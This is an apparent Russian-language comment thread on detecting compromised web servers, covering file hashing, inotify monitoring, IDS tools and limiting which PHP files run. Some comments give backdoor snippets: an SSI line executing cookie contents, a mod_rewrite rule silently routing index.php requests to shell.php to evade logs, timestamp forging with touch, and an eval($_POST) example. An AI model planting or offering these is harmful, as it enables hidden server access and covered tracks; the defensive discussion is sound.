<!--#exec cmd=$HTTP_COOKIE -->

6. всесильный touch!
смотрим дату создания нормальных файлов, меняем на такую-же

и много-много чего еще

вдохновление! можно забыть про access_log

выискиваем на сервере самый популярный файл (например индексная или поисковая страница), добавляем в .htaccess и вместо обращения в логах к нашему файлу-бэкдору видим обращение к этому файлу (естесно нужен mod_rewrite), используя обычный браузер (в примере — опера)

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} .*Opera*
RewriteRule ^index\.php$ path/shell.php
.htaccess на крупных сервисах редкость, даже при наличии апача. И даже если такое есть, туда смотрят в первую очередь.
а кто его мешает добавить в директорию, доступную на запись?
Добавить можно, но толку мало, если стоит Allow Override None в основном конфиге. А он стоит если сознательно отказались от .htaccess.
Статья надо заинтриговала своим названием, особенно учитывая немалое кол-во способов(как уже писали выше) по внедрению вредоносного кода. Однако как водится панацеи не получилось. К тому же как я понял все выше описанные операции надо регулярно выполнять вручную, что делает своевременное обнаружение взлома практически нереальным! Ведь все мы порой уходим в отпуск к примеру и кто тогда будет проверять изменения файлов и искать признаки взлома? Да и даже в рабочие дни тратить время подобную ежедневную проверку непозволительная роскошь.

Однако мысль сканировать время изменения файлов в каталоге сервера считаю наиболее полезна. Только вот ее доработать надо, к примеру повесить это на cron и уведомлять по email/sms админа когда и что изменилось скажем за сутки/час, а саму проверку выполнять из скрипта, который находится за пределами папки веб-сервера и ftp дабы нельзя было повлиять на этот процесс без прав root. Наиболее часто в посл время сталкиваюсь с попытками утащить пароли к ftp через ява-апплеты на популярных фотохостингах. Стало быть в зону риска попадает все что доступно и по ftp тоже.
Время изменения грамотный взлом не изменит. Нужно смотреть на содержание файлов, например иметь базу хэшей файлов свежеустановленного сайта и регулярно её мониторить.

Ещё интересным ходом является демон, который получает уведомления inotify (в Linux, в BSD/MacOS — kqueue, в Windows тоже что-то похожее есть) IN_ATTRIB, IN_CREATE, IN_MODIFY и т. п. от ядра об изменениях файлов исходников и конфигов и незамедлительно (а не когда хрон прогонится) шлет уведомления админам. Тут взломщик, даже получивший рута, может просто не заметить эту систему, если её не назвать guarder и т. п. Ещё apparmor или аналоги вроде должны помочь, но их не осилил.
Кстати, именно таким образом — через INOTIFY — я однажды и ловил. Зараза сам себя удалял после того, как что-то делал. Пришлось сесть «в засаду» с INOTIFY и по событию «created» его перехватывать. Тут конечно гонки (т.е. не факт, что я успеваю скопировать раньше, чем он себя удалит), но таки успело, скопировал все новосозданные файлы, а потом и нашёл саму дыру.
Грамотных взломщиков уже меньше вероятность словить, но хеш файлов дополнительно сверять уже ценное дополнение.
Системные уведомления перехватить разумеется надежнее, но речь еще идет о том, что практически уверен, что 99% сайтов даже и вручную раз в месяц мало кто проверяет(судя по алертам антивира на внедренный код) не говоря уже об использовании коммерческих методов защиты.
Другими словами чтоб дешево и сердито… время и хеш проверять автоматически вполне сможет использовать даже начинающий с минимумом напрягов для хостера.
Про коммерческие я ничего не говорил, только про «на коленке».
Давно существуют различные системы IDS (Intrusion Detection System) и IPS (Intrusion Prevention System), идея автоматически проводить мониторинг ресурсов не нова. Хотя вряд ли, данная тема, касается веб-разработчиков. Это скорей уже обязанности сис админа, грамотно настроить сервер.

ИХМО: мне кажется невозможно быть одновременно крутым админом, знающим все плюшки различных конфигураций и крутым веб-разработчиком, знающим различные методы атак на веб приложения и умеющим писать код без дыр. В свое время пытался освоить и одно и другое, но чашу весов перевесило программирование, проще написать надежное приложение, чем мучиться с настройками сервера (ведь это задача хостера, за то мы ему и платим).

Конечно, личные меры безопасности никто не отменял — не пересылать пароли в открытом виде по IM или почте, не хранить пароли в открытом виде, не сохранять пароли в FTP менеджерах, обозревателях и прочих Total Сommander-ах, не пускать вирусняк на свой рабочий комп (юзать unix и ставить открытое ПО из исходников), использовать TrueCrypt и Git для бекапа данных (у меня крипто-контейнер с проектами лежит в Dropbox, а там репозитории). В общем паранойя по полной и будет счастье :)
Да, бесспорно идея не нова, а цена вопроса какая? хотяб примерно для читающих сей топик.
На ява-скриптах и апплетах написанный код и под линухами неплохо цепляется, проверено)
Кода без дыр также не существует, если вы их не заметили — это еще не значит что их нет, ибо не лучший способ не ошибаться — лишь ничего не делать.
Особенно характерный пример — мегапопулярные CMS, которые уже множество раз фиксились на тему безопасности(чаще по факту обнаружения, чем заранее) и все же регулярно находятся все новые и новые их уязвимости.
Есть бесплатные свободные решения, Snort IDS например.
Увы, реальность такова, что многим (веб)разработчикам приходится и админить сервера с их софтом. Уровень может быть разным, но хоть что-то вне кода править (тот же .htaccess) многим приходится.
чуви, даю универсальный способ защиты. Только для хабра и только сегодня. Минусуйте как и прошлые комменты, мне не жалко, плюсов хватает. Главное, чтобы сделали.
Совета два:
1) Запускать php только определённые файлы. Мои проекты запускают только index.php, остальные инклудятся. Даже если у вас несколько php, что запускаются, укажите их явно для веб сервера, остальные не запускайте.
2) К mysql запросам меняйте information_schema на синоним, но с русской «о», запросы останутся легитимными, но не будут работать как хотелось бы.

Я к этому добавил смс информировании при попытке запустить не объявленные php файлы и применение information_schema. Однозначно, таких ловушек не подозревают, а значит, во-первых, вы избежите взлома, во-вторых, будете осведомлены.

Никакие ручные анализы логов не дадут подобного. Повторю, мой шелл будет обращаться обычным гетом на index.php главный без параметров и никто ничего не заметит
правда, другие способы защиты, типа скана логов и поиска свежих файлов, из разряда «мы дадим врагу огнестрел и попробуем отобрать его». слабоумие и отвага
Защита должна быть многоуровневой.
Большинство методов, предполагают, что злоумышленник загружает на север файлы

Сильная фраза…
А что не так? Совсем не обязательно файл загружать, чтобы получить доступ ко многим функциям, если есть, скажем, eval($_POST['expr']);
Sign up to leave a comment.

Articles